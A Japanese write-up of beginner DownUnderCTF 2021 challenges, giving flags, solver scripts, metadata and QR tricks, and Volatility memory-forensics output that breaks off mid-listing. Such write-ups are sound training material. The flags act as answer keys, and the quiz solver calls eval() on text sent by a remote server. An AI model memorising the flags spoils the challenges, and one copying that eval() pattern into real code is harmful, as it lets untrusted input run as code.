Helpページを見ると、Discordに関する説明が書いてある。Discordに入り、#rulesチャネルに旗の絵文字の反応をすると、たくさんのチャネルが現れる。#request-supportチャネルのメッセージを見ると、フラグが書いてあった。

DUCTF{if_you_are_having_challenge_issues_come_here_pls}

The Introduction (misc)

適当な名前で、「50 4r3 y0u 4c7u4lly 4 h4ck3r?」の質問にyesと答えたら、フラグが表示された。

$ nc pwn-2021.duc.tf 31906
wh47 15 y0ur n4m3 h4ck3r? nora

Here are some wise words nora:

        Another one got caught today, it's all over the papers.  "Teenager
Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
        Damn kids.  They're all alike.

        But did you, in your three-piece psychology and 1950's technobrain,
ever take a look behind the eyes of the hacker?  Did you ever wonder what
made him tick, what forces shaped him, what may have molded him?
        I am a hacker, enter my world...
        Mine is a world that begins with school... I'm smarter than most of
the other kids, this crap they teach us bores me...
        Damn underachiever.  They're all alike.

        I'm in junior high or high school.  I've listened to teachers explain
for the fifteenth time how to reduce a fraction.  I understand it.  "No, Ms.
Smith, I didn't show my work.  I did it in my head..."
        Damn kid.  Probably copied it.  They're all alike.

        I made a discovery today.  I found a computer.  Wait a second, this is
cool.  It does what I want it to.  If it makes a mistake, it's because I
screwed it up.  Not because it doesn't like me...
                Or feels threatened by me...
                Or thinks I'm a smart ass...
                Or doesn't like teaching and shouldn't be here...
        Damn kid.  All he does is play games.  They're all alike.

        And then it happened... a door opened to a world... rushing through
the phone line like heroin through an addict's veins, an electronic pulse is
sent out, a refuge from the day-to-day incompetencies is sought... a board is
found.
        "This is it... this is where I belong..."
        I know everyone here... even if I've never met them, never talked to
them, may never hear from them again... I know you all...
        Damn kid.  Tying up the phone line again.  They're all alike...

        You bet your ass we're all alike... we've been spoon-fed baby food at
school when we hungered for steak... the bits of meat that you did let slip
through were pre-chewed and tasteless.  We've been dominated by sadists, or
ignored by the apathetic.  The few that had something to teach found us will-
ing pupils, but those few are like drops of water in the desert.

        This is our world now... the world of the electron and the switch, the
beauty of the baud.  We make use of a service already existing without paying
for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
you call us criminals.  We explore... and you call us criminals.  We seek
after knowledge... and you call us criminals.  We exist without skin color,
without nationality, without religious bias... and you call us criminals.
You build atomic bombs, you wage wars, you murder, cheat, and lie to us
and try to make us believe it's for our own good, yet we're the criminals.

        Yes, I am a criminal.  My crime is that of curiosity.  My crime is
that of judging people by what they say and think, not what they look like.
My crime is that of outsmarting you, something that you will never forgive me
for.

        I am a hacker, and this is my manifesto.  You may stop this individual,
but you can't stop us all... after all, we're all alike.

                               +++The Mentor+++

50 4r3 y0u 4c7u4lly 4 h4ck3r?  yes

nora, y0u w1ll n33d 7h15 0n y0ur duc7f j0urn3y 7h3n

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


                   __
                  / \--..____
                   \ \       \-----,,,..
                    \ \       \         \--,,..
                     \ \       \         \  ,'
                      \ \       \         \ ``..
                       \ \       \         \-''
                        \ \       \__,,--'''
                         \ \       \.
                          \ \      ,/
                           \ \__..-
                            \ \
                             \ \
                              \ \   
                               \ \
                                \ \
                                 \ \
                                  \ \
                                   \ \
                                    \ \
DUCTF{w3lc0m3_70_7h3_duc7f_7hund3rd0m3_h4ck3r}

General Skills Quiz (misc)

計算などのQuizに答えていく。

Q1: 足し算
Q2: 16進数→10進数
Q3: 16進数→文字
Q4: URLエンコードのデコード
Q5: base64デコード
Q6: base64エンコード
Q7: rot13デコード
Q8: rot13エンコード
Q9: 2進数→10進数
Q10: 10進数→2進数
Q11: ベストCTF(結果的には"DUCTF"で通った)
#!/usr/bin/python3
import socket
import base64
import codecs
from urllib.parse import unquote
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

FAKE_COORDS = 5754622710042474278449745314387128858128432138153608237186776198754180710586599008803960884
p = 13318541149847924181059947781626944578116183244453569385428199356433634355570023190293317369383937332224209312035684840187128538690152423242800697049469987

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('pwn-2021.duc.tf', 31905))

data = recvuntil(s, b'...')
print(data)
s.sendall(b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q1 ####
data = recvuntil(s, b'?\n').rstrip()
print(data)
q = data.split(' ')[-1].split('=')[0]
ans = eval(q)
print(ans)
s.sendall(str(ans).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q2 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = int(q, 16)
print(ans)
s.sendall(str(ans).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q3 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = chr(int(q, 16))
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q4 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = unquote(q)
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q5 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = base64.b64decode(q).decode()
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q6 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = base64.b64encode(q.encode()).decode()
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q7 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = codecs.decode(q, 'rot-13')
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q8 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = codecs.encode(q, 'rot-13')
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q9 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = int(q, 2)
print(ans)
s.sendall(str(ans).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q10 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
q = data.split(' ')[-1]
ans = bin(int(q))
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### Q11 ####
data = recvuntil(s, b'\n').rstrip()
print(data)
ans = 'DUCTF'
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

#### get flag ####
for _ in range(32):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Welcome to the DUCTF Classroom! Cyber School is now in session!
Press enter when you are ready to start your 30 seconds timer for the quiz...
Woops the time is always ticking...
Answer this maths question: 1+1=?
2
Well I see you are not a bludger then.

Decode this hex string and provide me the original number (base 10): 0xf6
246
You're better than a dog's breakfast at least.

Decode this hex string and provide me the original ASCII letter: 62
b
Come on this isn't hard yakka

Decode this URL encoded string and provide me the original ASCII symbols: %2A%5D%25
*]%
You haven't gone walkabout yet. Keep going!

Decode this base64 string and provide me the plaintext: dGltZWxpbmVfcHJlcGFyaW5nX2Jyb2FkY2FzdF9sb3Jk
timeline_preparing_broadcast_lord
That's a fair crack of the whip.

Encode this plaintext string and provide me the Base64: ferry_void_variety_bruce
ZmVycnlfdm9pZF92YXJpZXR5X2JydWNl
Fair dinkum! That's not bad.

Decode this rot13 string and provide me the plaintext: ubheyl_nhgbzngvba_wnpxrg_fvzvyneyl
hourly_automation_jacket_similarly
Don't spit the dummy yet!

Encode this plaintext string and provide me the ROT13 equilavent: natural_engine_wed_receiving
angheny_ratvar_jrq_erprvivat
You're sussing this out pretty quickly.

Decode this binary string and provide me the original number (base 10): 0b111111001000
4040
Crikey, can you speak computer?

Encode this number and provide me the binary equivalent: 8907
0b10001011001011
You're better than a bunnings sausage sizzle.

Final Question, what is the best CTF competition in the universe?
DUCTF
Bloody Ripper! Here is the grand prize!



   .^.
  (( ))
   |#|_______________________________
   |#||##############################|
   |#||##############################|
   |#||##############################|
   |#||##############################|
   |#||########DOWNUNDERCTF##########|
   |#||########(DUCTF 2021)##########|
   |#||##############################|
   |#||##############################|
   |#||##############################|
   |#||##############################|
   |#|'------------------------------'
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|
   |#|  DUCTF{you_aced_the_quiz!_have_a_gold_star_champion}
   |#|
   |#|
   |#|
  //|\\
DUCTF{you_aced_the_quiz!_have_a_gold_star_champion}

rabbit (misc)

さまざまな圧縮方式で何重にも圧縮されているので、fileコマンドで確認しながら、解凍していく。

import subprocess
import os
import time

cmd_file = 'file %s'
cmd_tar = 'tar xvf %s'
cmd_zip = 'unzip %s'
cmd_bz2 = 'bzip2 -d %s'
cmd_gz = 'gzip -d %s'
cmd_xz = 'xz -d %s'

filename_base = 'flag'
filename_txt = 'flag.txt'
filename_tar = 'flag.tar'
filename_zip = 'flag.zip'
filename_bz2 = 'flag.bz2'
filename_gz = 'flag.gz'
filename_xz = 'flag.xz'

i = 1
while True:
    print '%d times' % i
    cmd = cmd_file % filename_txt
    ret = subprocess.check_output( cmd.split(" ") )
    print ret
    if 'Zip archive' in ret:
        os.rename(filename_txt, filename_zip)
        os.system(cmd_zip % filename_zip)
        os.remove(filename_zip)
    elif 'bzip2 compressed' in ret:
        os.rename(filename_txt, filename_bz2)
        os.system(cmd_bz2 % filename_bz2)
        os.rename(filename_base, filename_txt)
    elif 'gzip compressed' in ret:
        os.rename(filename_txt, filename_gz)
        os.system(cmd_gz % filename_gz)
        os.rename(filename_base, filename_txt)
    elif 'XZ compressed' in ret:
        os.rename(filename_txt, filename_xz)
        os.system(cmd_xz % filename_xz)
        time.sleep(2)
        os.rename(filename_base, filename_txt)
    else:
        break
    i += 1

実行結果は以下の通り。

        :
990 times
flag.txt: Zip archive data, at least v2.0 to extract

Archive:  flag.zip
  inflating: flag.txt                
991 times
flag.txt: Zip archive data, at least v1.0 to extract

Archive:  flag.zip
 extracting: flag.txt                
992 times
flag.txt: bzip2 compressed data, block size = 900k

993 times
flag.txt: bzip2 compressed data, block size = 900k

994 times
flag.txt: Zip archive data, at least v2.0 to extract

Archive:  flag.zip
  inflating: flag.txt                
995 times
flag.txt: Zip archive data, at least v1.0 to extract

Archive:  flag.zip
 extracting: flag.txt                
996 times
flag.txt: bzip2 compressed data, block size = 900k

997 times
flag.txt: gzip compressed data, was "flag.txt", last modified: Thu Sep  9 11:25:28 2021, from Unix

998 times
flag.txt: XZ compressed data

xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
999 times
flag.txt: gzip compressed data, was "flag.txt", last modified: Thu Sep  9 11:25:28 2021, from Unix

1000 times
flag.txt: bzip2 compressed data, block size = 900k

1001 times
flag.txt: ASCII text

1000回解凍した後に展開されるflag.txtにはbase64文字列が書いてある。

RFVDVEZ7YmFidXNoa2FzX3YwZGthX3dhc19oM3IzfQ==
$ echo RFVDVEZ7YmFidXNoa2FzX3YwZGthX3dhc19oM3IzfQ== | base64 -d
DUCTF{babushkas_v0dka_was_h3r3}
DUCTF{babushkas_v0dka_was_h3r3}

no strings (reversing)

$ strings --encoding=l nostrings 
DUCTF{stringent_strings_string}
DUCTF{stringent_strings_string}

Retro! (forensics)

$ exiftool og.jpg | grep DUCTF
Artist                          : DUCTF{sicc_paint_skillz!}
XP Author                       : DUCTF{sicc_paint_skillz!}
Creator                         : DUCTF{sicc_paint_skillz!}
DUCTF{sicc_paint_skillz!}

Do the loop! (forensics)

Audacityで開き、スぺクトログラムを見ると、モールス信号が見える。はっきりとは見えないので、英文になるよう調整しながら、デコードする。
f:id:satou-y:20210929124830p:plain

ICOULDLISTENTOTHISONLOOPALLDAY

How to pronounce GIF (forensics)

アニメーションGIFをフレームごとに分割する。10個のQRコードになりそうなので、結合する。

from PIL import Image

WIDTH = 300
HEIGHT = 22
ROWS = 12

for i in range(1, 11):
    output_img = Image.new('RGB', (WIDTH, HEIGHT * ROWS), (255, 255, 255))
    for j in range(ROWS):
        fname = 'div/challenge_%03d.gif' % (i + j * 10)
        input_img = Image.open(fname).convert('RGB')
        output_img.paste(input_img, (0, HEIGHT * j))
    qr_fname = 'qr%02d.gif' % i
    output_img.save(qr_fname)

QRコードをデコードする。

1:
The princess is in another castle

2:
https://bit.ly/3Afouex -> https://www.youtube.com/watch?v=gfkts0u-m6w

3:
f0ll0w 7h3 wh173 r4bb17

4:
https://bitly.com/98K8eH -> https://www.youtube.com/watch?v=dQw4w9WgXcQ

5:
(\(\
( -.-)
o_(")(")

6:
RFVDVEZ7YU1

7:
https://bit.ly/2YOdoPM -> https://www.youtube.com/watch?v=jQE66WA2s-A

8:
fMV9oYVhYMHJfbjB3P30=

9:
( )( )
(O.O)
o_(")(")

10:
https://www.youtube.com/watch?v=N1AL2EMvVy0

6番目と8番目の文字列を結合して、base64デコードする。

>>> ('RFVDVEZ7YU1' + 'fMV9oYVhYMHJfbjB3P30=').decode('base64')
'DUCTF{aM_1_haXX0r_n0w?}'
DUCTF{aM_1_haXX0r_n0w?}

Want to Play a Game? (forensics)

$ volatility -f JacobsPC.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/JacobsPC.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002848120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff8000284a000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-09-13 12:11:28 UTC+0000
     Image local date and time : 2021-09-13 22:11:28 +1000

$ volatility -f JacobsPC.raw --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80018c1b00:wininit.exe                       408    340      3     76 2021-09-12 17:45:40 UTC+0000
. 0xfffffa800475d150:lsm.exe                          516    408     10    160 2021-09-12 17:45:40 UTC+0000
. 0xfffffa8002ae5b00:services.exe                     488    408      7    226 2021-09-12 17:45:40 UTC+0000
.. 0xfffffa80047deb00:svchost.exe                     640    488     10    373 2021-09-12 17:45:40 UTC+0000
... 0xfffffa80051feb00:WmiPrvSE.exe                  2880    640      5    120 2021-09-12 17:46:25 UTC+0000
.. 0xfffffa80049d3b00:svchost.exe                    1216    488     16    316 2021-09-12 17:45:43 UTC+0000
.. 0xfffffa80022cf060:taskhost.exe                   4216    488      7    156 2021-09-13 12:09:50 UTC+0000
.. 0xfffffa80050b5340:mscorsvw.exe                    780    488      6     81 2021-09-12 17:47:45 UTC+0000
.. 0xfffffa80048bdb00:svchost.exe                     900    488     30    639 2021-09-12 17:45:41 UTC+0000
... 0xfffffa8004de6060:dwm.exe                       1028    900      3    114 2021-09-12 17:45:51 UTC+0000
.. 0xfffffa8004a8e550:spoolsv.exe                    1180    488     14    276 2021-09-12 17:45:43 UTC+0000
.. 0xfffffa80048f05f0:svchost.exe                     932    488     12    387 2021-09-12 17:45:41 UTC+0000
.. 0xfffffa8004b72310:svchost.exe                    1320    488     10    148 2021-09-12 17:45:43 UTC+0000
.. 0xfffffa80043a3060:msiexec.exe                    4988    488      7    545 2021-09-12 17:51:42 UTC+0000
... 0xfffffa8001f98b00:msiexec.exe                   4488   4988      0 ------ 2021-09-12 17:58:37 UTC+0000
... 0xfffffa8001ee5b00:msiexec.exe                   3688   4988      0 ------ 2021-09-12 17:55:54 UTC+0000
... 0xfffffa8001d98b00:msiexec.exe                   5376   4988      0 ------ 2021-09-12 17:58:46 UTC+0000
... 0xfffffa80044329e0:msiexec.exe                   3680   4988      0 ------ 2021-09-12 17:52:32 UTC+0000
... 0xfffffa8001da9b00:msiexec.exe                   3600   4988      0 ------ 2021-09-12 17:55:59 UTC+0000
... 0xfffffa800450eb00:msiexec.exe                   4688   4988      0 ------ 2021-09-12 17:57:31 UTC+0000
.. 0xfffffa800489b060:svchost.exe                     816    488     21    594 2021-09-12 17:45:41 UTC+0000
... 0xfffffa80049e1370:audiodg.exe                    364    816      5    126 2021-09-12 17:45:42 UTC+0000
.. 0xfffffa80019b5570:mscorsvw.exe                   3252    488      6     75 2021-09-12 17:47:45 UTC+0000
.. 0xfffffa8004389060:taskhost.exe                   1336    488      5     95 2021-09-12 17:52:33 UTC+0000
.. 0xfffffa8004c14600:SearchIndexer.                 1140    488     14    760 2021-09-12 17:45:58 UTC+0000
... 0xfffffa8004f1b400:SearchProtocol                2744   1140      8    284 2021-09-13 12:10:41 UTC+0000
... 0xfffffa800233c060:SearchFilterHo                5272   1140      5     93 2021-09-13 12:10:42 UTC+0000
.. 0xfffffa8002aeab00:VBoxService.ex                  700    488     13    125 2021-09-12 17:45:40 UTC+0000
.. 0xfffffa8004efab00:wmpnetwk.exe                   2052    488     23    539 2021-09-12 17:45:58 UTC+0000
.. 0xfffffa8004900710:svchost.exe                     960    488     36   1197 2021-09-12 17:45:41 UTC+0000
... 0xfffffa8001b30060:taskeng.exe                   2824    960      4     82 2021-09-12 17:51:58 UTC+0000
.. 0xfffffa8004d7eb00:taskhost.exe                   1996    488      9    264 2021-09-12 17:45:51 UTC+0000
.. 0xfffffa80051b0b00:jenkins.exe                    4644    488      8    185 2021-09-12 17:58:59 UTC+0000
... 0xfffffa80046294a0:java.exe                      5528   4644     36    552 2021-09-12 17:59:00 UTC+0000
.. 0xfffffa8004632b00:sppsvc.exe                     3280    488      4    143 2021-09-12 17:47:45 UTC+0000
.. 0xfffffa8001b11320:svchost.exe                    3320    488     12    373 2021-09-12 17:47:46 UTC+0000
.. 0xfffffa8004b8c370:svchost.exe                    1368    488     18    280 2021-09-12 17:45:43 UTC+0000
.. 0xfffffa8004a2a400:svchost.exe                    1060    488     18    523 2021-09-12 17:45:43 UTC+0000
.. 0xfffffa80047b7b00:svchost.exe                     756    488      8    328 2021-09-12 17:45:41 UTC+0000
.. 0xfffffa8004f92060:svchost.exe                    2296    488      7    303 2021-09-12 17:45:59 UTC+0000
. 0xfffffa800475eb00:lsass.exe                        508    408      7    797 2021-09-12 17:45:40 UTC+0000
 0xfffffa80029163e0:csrss.exe                         356    340      9    516 2021-09-12 17:45:39 UTC+0000
. 0xfffffa80023a4820:conhost.exe                     5952    356      2     33 2021-09-12 17:59:00 UTC+0000
 0xfffffa8001d1d060:firefox.exe                      2080   3584     64    950 2021-09-13 11:37:20 UTC+0000
. 0xfffffa80050c2670:firefox.exe                     5524   2080     18    294 2021-09-13 11:37:21 UTC+0000
. 0xfffffa8004512640:firefox.exe                     5512   2080      8    189 2021-09-13 11:37:22 UTC+0000
. 0xfffffa8001f8a240:firefox.exe                     3344   2080     14    267 2021-09-13 11:37:33 UTC+0000
. 0xfffffa8001f8a7a0:firefox.exe                     2036   2080     19    327 2021-09-13 11:37:21 UTC+0000
. 0xfffffa8001d9a600:firefox.exe                     3536   2080     18    293 2021-09-13 11:37:22 UTC+0000
. 0xfffffa800462d9d0:firefox.exe                     2156   2080     27    294 2021-09-13 11:37:21 UTC+0000
 0xfffffa8002b45b00:chrome.exe                       3660   3132     34   1008 2021-09-12 17:48:44 UTC+0000
. 0xfffffa8005208110:chrome.exe                      2952   3660     14    250 2021-09-12 17:48:45 UTC+0000
. 0xfffffa8001e33b00:chrome.exe                      2736   3660     12    191 2021-09-12 17:48:46 UTC+0000
. 0xfffffa80050d3500:chrome.exe                      2512   3660      7    149 2021-09-12 17:48:45 UTC+0000
. 0xfffffa8001a63640:chrome.exe                      6060   3660      9    170 2021-09-12 17:52:58 UTC+0000
. 0xfffffa8002092b00:chrome.exe                      5016   3660     14    252 2021-09-12 17:51:47 UTC+0000
. 0xfffffa800437d5a0:chrome.exe                      6120   3660     14    218 2021-09-13 11:36:18 UTC+0000
. 0xfffffa8004604480:chrome.exe                      4724   3660     14    325 2021-09-13 11:36:27 UTC+0000
 0xfffffa8004df95b0:explorer.exe                     1148   2024     36   1006 2021-09-12 17:45:51 UTC+0000
. 0xfffffa8004561690:soffice.exe                     3748   1148      1     67 2021-09-12 17:57:02 UTC+0000
.. 0xfffffa80045d0920:soffice.bin                    5228   3748     11    443 2021-09-12 17:57:02 UTC+0000
. 0xfffffa8004e35b00:VBoxTray.exe                    1620   1148     15    149 2021-09-12 17:45:52 UTC+0000
. 0xfffffa8004f98b00:iexplore.exe                    2516   1148     11    586 2021-09-12 17:46:12 UTC+0000
.. 0xfffffa80029f65f0:iexplore.exe                   2280   2516     30    723 2021-09-12 17:46:47 UTC+0000
... 0xfffffa8001ad0b00:ie_to_edge_stu                3444   2280      0 ------ 2021-09-12 17:47:55 UTC+0000
 0xfffffa8001e9eb00:drpbx.exe                        3628   1152      4    128 2021-09-13 12:10:19 UTC+0000
 0xfffffa80018b1040:System                              4      0     90    576 2021-09-12 17:45:36 UTC+0000
. 0xfffffa8002a14040:smss.exe                         272      4      2     29 2021-09-12 17:45:36 UTC+0000
 0xfffffa800466f060:winlogon.exe                      472    400      3    113 2021-09-12 17:45:40 UTC+0000
 0xfffffa8004244b00:csrss.exe                         416    400     12    780 2021-09-12 17:45:40 UTC+0000
 0xfffffa80043b3220:Discord.exe                      1828   3552     34    691 2021-09-12 17:52:32 UTC+0000
. 0xfffffa80020593b0:Discord.exe                     5396   1828     30    580 2021-09-12 17:52:38 UTC+0000
. 0xfffffa80043127d0:Discord.exe                     4408   1828     13    315 2021-09-12 17:52:33 UTC+0000
. 0xfffffa8001dd2060:Discord.exe                     4908   1828      8    120 2021-09-12 17:52:33 UTC+0000
. 0xfffffa8002093060:Discord.exe                     5572   1828     10    168 2021-09-12 17:52:41 UTC+0000
. 0xfffffa8004ada6a0:Discord.exe                     5288   1828      8    210 2021-09-12 17:52:34 UTC+0000

$ volatility -f JacobsPC.raw --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    272
************************************************************************
csrss.exe pid:    356
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    408
************************************************************************
csrss.exe pid:    416
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid:    472
Command line : winlogon.exe
************************************************************************
services.exe pid:    488
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid:    508
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    516
Command line : 
************************************************************************
svchost.exe pid:    640
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
VBoxService.ex pid:    700
Command line : C:\Windows\System32\VBoxService.exe
************************************************************************
svchost.exe pid:    756
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
svchost.exe pid:    816
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:    900
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    932
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:    960
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
audiodg.exe pid:    364
Command line : C:\Windows\system32\AUDIODG.EXE 0x248
************************************************************************
svchost.exe pid:   1060
Command line : C:\Windows\system32\svchost.exe -k NetworkService
************************************************************************
spoolsv.exe pid:   1180
Command line : 
************************************************************************
svchost.exe pid:   1216
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
svchost.exe pid:   1320
Command line : C:\Windows\System32\svchost.exe -k utcsvc
************************************************************************
svchost.exe pid:   1368
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
taskhost.exe pid:   1996
Command line : "taskhost.exe"
************************************************************************
dwm.exe pid:   1028
Command line : 
************************************************************************
explorer.exe pid:   1148
Command line : C:\Windows\Explorer.EXE
************************************************************************
VBoxTray.exe pid:   1620
Command line : "C:\Windows\System32\VBoxTray.exe" 
************************************************************************
SearchIndexer. pid:   1140
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
wmpnetwk.exe pid:   2052
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
svchost.exe pid:   2296
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
iexplore.exe pid:   2516
Command line : "C:\Program Files\Internet Explorer\iexplore.exe" 
************************************************************************
WmiPrvSE.exe pid:   2880
Command line : C:\Windows\system32\wbem\wmiprvse.exe
************************************************************************
iexplore.exe pid:   2280
Command line : "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2516 CREDAT:1774879 /prefetch:2
************************************************************************
mscorsvw.exe pid:    780
Command line : 
************************************************************************
mscorsvw.exe pid:   3252
Command line : 
************************************************************************
sppsvc.exe pid:   3280
Command line : 
************************************************************************
svchost.exe pid:   3320
Command line : C:\Windows\System32\svchost.exe -k secsvcs
************************************************************************
ie_to_edge_stu pid:   3444
************************************************************************
chrome.exe pid:   3660
Command line : "C:\Program Files\Google\Chrome\Application\chrome.exe" --from-installer
************************************************************************
chrome.exe pid:   2952
Command line : "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1152,10551326307754508950,3778691879411989411,131072 --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1372 /prefetch:8
************************************************************************
chrome.exe pid:   2512
Command line : 
************************************************************************
chrome.exe pid:   2736
Command line : 
************************************************************************
msiexec.exe pid:   4988
Command line : C:\Windows\system32\msiexec.exe /V
************************************************************************
chrome.exe pid:   5016
Command line : 
************************************************************************
taskeng.exe pid:   2824
Command line : 
************************************************************************
msiexec.exe pid:   3680
************************************************************************
Discord.exe pid:   1828
Command line : "C:\Users\Jacob\AppData\Local\Discord\app-1.0.9002\Discord.exe" --squirrel-firstrun
************************************************************************
taskhost.exe pid:   1336
Command line : "taskhost.exe"
************************************************************************
Discord.exe pid:   4908
Command line : 
************************************************************************
Discord.exe pid:   4408
Command line : 
************************************************************************
Discord.exe pid:   5288
************************************************************************
Discord.exe pid:   5396
Command line : 
************************************************************************
Discord.exe pid:   5572
Command line : 
************************************************************************
chrome.exe pid:   6060
Command line : 
************************************************************************
msiexec.exe pid:   3688
************************************************************************
msiexec.exe pid:   3600
************************************************************************
soffice.exe pid:   3748
************************************************************************
soffice.bin pid:   5228
Command line : "C:\Program Files (x86)\OpenOffice 4\program\soffice.exe" "-env:OOO_CWD=2C:\\Program Files (x86)\\OpenOffice 4"
************************************************************************
msiexec.exe pid:   4688
************************************************************************
msiexec.exe pid:   4488
************************************************************************
msiexec.exe pid:   5376
************************************************************************
jenkins.exe pid:   4644
Command line : "C:\Program Files\Jenkins\jenkins.exe"
************************************************************************
java.exe pid:   5528
Command line : "C:\Program Files\Java\jdk1.8.0_301\bin\java.exe" -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "C:\Program Files\Jenkins\jenkins.war" --httpPort=8080 --webroot="C:\Windows\system32\config\systemprofile\AppData\Local\Jenkins\war"
************************************************************************
conhost.exe pid:   5952
Command line : \??\C:\Windows\system32\conhost.exe "-154075351530581523016333457511636195217536156841732032102577596487-1138745220
************************************************************************
chrome.exe pid:   6120
Command line : "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,10551326307754508950,3778691879411989411,131072 --disable-gpu-compositing --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=140 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1972 /prefetch:1
************************************************************************
chrome.exe pid:   4724
